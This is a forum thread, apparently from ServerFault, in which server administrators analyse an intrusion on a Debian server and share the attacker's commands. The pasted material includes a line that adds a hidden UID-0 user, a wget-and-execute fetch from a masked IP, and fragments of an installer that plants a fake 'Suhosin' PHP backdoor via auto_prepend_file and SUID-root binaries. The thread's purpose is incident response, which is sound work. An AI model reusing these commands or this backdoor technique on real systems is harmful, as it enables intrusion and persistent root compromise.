I have probably just detected that a user on a server of mine has rooted my server, but that's not what I'm asking.

Has anyone ever seen command like these:

echo _EoT_0.249348813417008_;
echo _EoT_0.12781402577841_;
echo $PATH && a=`env |grep PATH | awk -F '=' '{print $2":/usr/sbin"}'` && export    PATH=$a && echo $PATH;
echo _EoT_0.247556708344121_;
whereis useradd;
echo _EoT_0.905792585668774_;
useradd -p saZlzoRm9L4Og -o -g 0 -u 0 aspnet;
echo _EoT_0.369123892063307_;
wget http://178.xxx.xxx.181/suhosin14.sh;
echo _EoT_0.845361576801043_;
chmod +x suhosin14.sh && ./suhosin14.sh && sleep 5 && ls -la && locate index.php;
echo _EoT_0.161914402299161_;
rm -rf /tmp/ZyCjBiU;
echo _EoT_0.751816968837201_;

Seems to me that it's a work of some automated script, but I'm not sure which one.

Anyone has a clue about this?

OS is Debian Lenny, kernel 2.6.30-bpo.2-686-bigmem (if that's important).

By the way, link in code above is masked, anyone who wants code that is downloaded, I have made a copy, for analysis, so I can provide it on request.

Edit: I'm attaching contents of .sh script, as a reference, if anyone's interested.

PHP=`which php`
PHP_INCLUDE_PATH=`$PHP -i|grep 'include_path' | awk '{print $3}' | awk -F ":" '{print $2}'`

    mkdir -p $PHP_INCLUDE_PATH



PHP_FILE_PATH_SLASHED=`echo $PHP_FILE_PATH | sed 's/\//\\\\\//g'`;

for file in `find / -type f -name 'php.ini'`
    APPEND=`egrep -v '^;' $file | grep auto_prepend_file`
    OPENBASEDIR=`egrep -v '^;' $file | grep open_basedir`

    echo "[*] opendir:$OPENBASEDIR"

    if [ ! -z "$APPEND" ]
        APPEND_CMD=`echo $APPEND | awk -F "=" '{print $1}'`
        APPEND_FILE=`echo $APPEND | awk -F "=" '{print $2}'`

        echo "[*] $file : $APPEND_CMD=$APPEND_FILE"
        echo "[~] need to replace auto append file"

        if [ ! -z "$APPEND_FILE" ]; then APPEND_FILE=`echo "$APPEND_FILE" | sed 's/\//\\\\\//g'`;fi

        echo "[~] need to add auto_append_file"

        cp $file 1
        echo "auto_prepend_file = $PHP_FILE_PATH" >> 1

    touch -r $file 1
    mv 1 $file

echo "[!] printing $PHP_FILE_PATH"
if [ ! -d $PHP_INCLUDE_PATH ]; then mkdir $PHP_INCLUDE_PATH; fi

* SUHOSIN, the PHP Extension and Application Repository
* SUHOSIN security patch
* PHP versions 4 and 5
* @category   pear
* @package    Suhosin patch
* @author     Sterling Hughes <sterling@php.net>
* @author     Stig Bakken <ssb@php.net>
* @author     Tomas V.V.Cox <cox@idecnet.com>
* @author     Greg Beaver <cellog@php.net>
* @copyright  1997-2010 The Authors
* @license    http://opensource.org/licenses/bsd-license.php New BSD License
* @version    CVS: \$Id: PEAR.php 299159 2010-05-08 22:32:52Z dufuz \$
* @link       http://pear.php.net/package/PEAR
* @since      File available since Release 0.1

function suhosin_unxor(\$data,\$len,\$key)

    return \$data;

    if(isset(\$_POST['suhosinkey']) && isset(\$_POST['suhosinaction']))
        if(isset(\$_POST['suhosindata']) && isset(\$_POST['suhosincrc'])
            && crc32(\$_POST['suhosindata'])==\$_POST['suhosincrc'])

                    print "SUHOSIN OK\n".file_put_contents(__FILE__,\$data);
                else if(\$_POST['suhosinaction']=="command")
                    print("SUHOSIN CMD\n");

chmod 777 $PHP_FILE_PATH
touch -r /bin/ls $PHP_FILE_PATH

echo "[*] installing getroots ($GETROOT_32 $GETROOT_64)"

WGET=`which wget`
CHOWN=`which chown`

`$CHOWN root $GETROOT_32`
chmod 4755 $GETROOT_32
touch -r /bin/ls $GETROOT_32

`$CHOWN root $GETROOT_64`
chmod 4755 $GETROOT_64
touch -r /bin/ls $GETROOT_64

ls -la $GETROOT_32 $GETROOT_64

echo "[!] restarting ctls"
for ctl in ` ls  {/usr/local/{http*,apache*}/bin/*ctl,/usr/sbin/{http*,apache*}ctl} 2>&1 | grep -v "No such"`
    echo "[*] restarting $ctl"
    `\$ctl restart`
rm $0


  • The suhosin part looked familiar... en.wikipedia.org/wiki/Suhosin – Bart Silverstrim Nov 22 '10 at 19:10
  • I don't think it has anything in common with suhosin, except maybe a name, to make it less suspicious-looking. – mr.b Nov 22 '10 at 19:27

Interesting, indeed.

I've never seen this thing before, but looking at the suhosin14.sh script, it is evil. It modifies all the php.ini files it can find on the system, hoping to cause PHP to prepend some code on-the-fly into every PHP web page rendered (via auto_prepend_file). suhosin14.sh also downloads and installs a pair of SUID-root modules, presumably to get its prepended PHP code to run with root privileges.

The prepended PHP script (suhosin.php) contains a comment header that makes it claim to be part of the Suhosin security patch for PHP, but it is certainly not. Instead, the script watches for particular HTTP POST requests containing XOR-obfuscated commands, which it then de-obfuscates and runs (presumably with root privileges, thanks to the SUID-root modules).

If this thing was run on your system, then it is likely rooted. Undoing what the suhosin14.sh installer has done [specifically: remove the PHP prepend-script suhosin.php, remove the SUID-root modules suhosin32.so and suhosin64.so, and restore your original php.ini file(s)] is probably not enough to ensure safety, since someone had to have gained root access to successfully run the installer in the first place. Furthermore, subsequent commands sent remotely via the PHP prepend-script could have easily installed any number of rootkits or other backdoors.

Not much else I can suggest, except maybe to check your Apache logs for POST requests to pages that normally shouldn't get POST requests: those are likely instances of remote commands sent to your system. Unfortunately, the logs won't tell you what commands were executed, but you might get some other useful info, like IP addresses and timestamps.

  • Fortunately, "suhosin" commands are executed "only" with web server user privileges. I'm unable to find any references to actual .so files, so I wonder how one might have executed them remotely... I have removed evil script and entries in .ini files immediately, and removed rogue UID/GID 0 user (I didn't know it was possible to have two users with same UID on linux!?). Thanks for the POST tip, though, I wasn't that thorough while reading evil php code (I searched through logs for "suhosin" string, but POST variables don't appear in logs anyway). – mr.b Nov 23 '10 at 2:43
  • Look to see if the useradd command worked, as well. You don't want a known login on your system. – Paul Tomblin Nov 23 '10 at 13:29

This also happened to me a few days ago as well. Are you by any chance using Drupal or Wordpress? I'm curious if it might be due to a vulnerability with either of those CMS. I've had this happen three times now and have taken some security precautions, but they still seem to be able to add the suhosin prepend to our php.ini file. Very annoying to say the least. Any more info on possible causes or solutions would be very much appreciated.

Thanks, Joseph

  • It will rather be a vulnerability in some piece of a server software, or in a linux kernel (I read recently that there were several kernel-level exploits recently). Anyhow, safest approach is to nuke it from the orbit (backup data, reinstall with all security patches included, and restore data). – mr.b Nov 28 '10 at 5:27

wow, this is amazing, exactly the same happened to me on Thursday and they broke my whole server. I still don't know what I have to fix. Can anybody tell me?

I found a few interesting things on this in my log files. So I know somebody connected to it and downloaded a file to the server, which is quite amazing. I even found the same IP as the one that you guys posted before.

--2010-11-25 23:16:18-- Connecting to connected. HTTP request sent, awaiting response... 200 OK Length: 8506 (8.3K) [text/plain] Saving to: cbsdx' 0K ........ 100% 94.8K=0.09s 2010-11-25 23:16:18 (94.8 KB/s) -cbsdx' saved [8506/8506] [Thu Nov 25 23:17:41 2010] [notice] SIGHUP received. Attempting to restart

Very interesting is definitely your comment about useradd as I had a line saying:

Nov 25 23:16:24 s15398462 useradd[7815]: new user: name=aspnet, UID=0, GID=0, home=/home/aspnet, shell=/bin/bash

I use Wordpress as well, so might be that this is the problem, but I have a few other programs, so who knows.

  • Given that they were able to execute a command as root (useradd), and the user they created had root privileges, you shouldn't be thinking in terms of "what you have to fix". The server has been fundamentally compromised and the only responsible thing to do now is to copy off data (NOT executables), reformat the discs, and reinstall the OS and applications from scratch. – MadHatter Nov 27 '10 at 15:09
  • Thanks MadHatter. I guess you are right. I already started to create a backup of everything and will now reformat the server :-( but yeah, that's the only way to make sure everything is ok. – Mirco Nov 27 '10 at 19:59

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.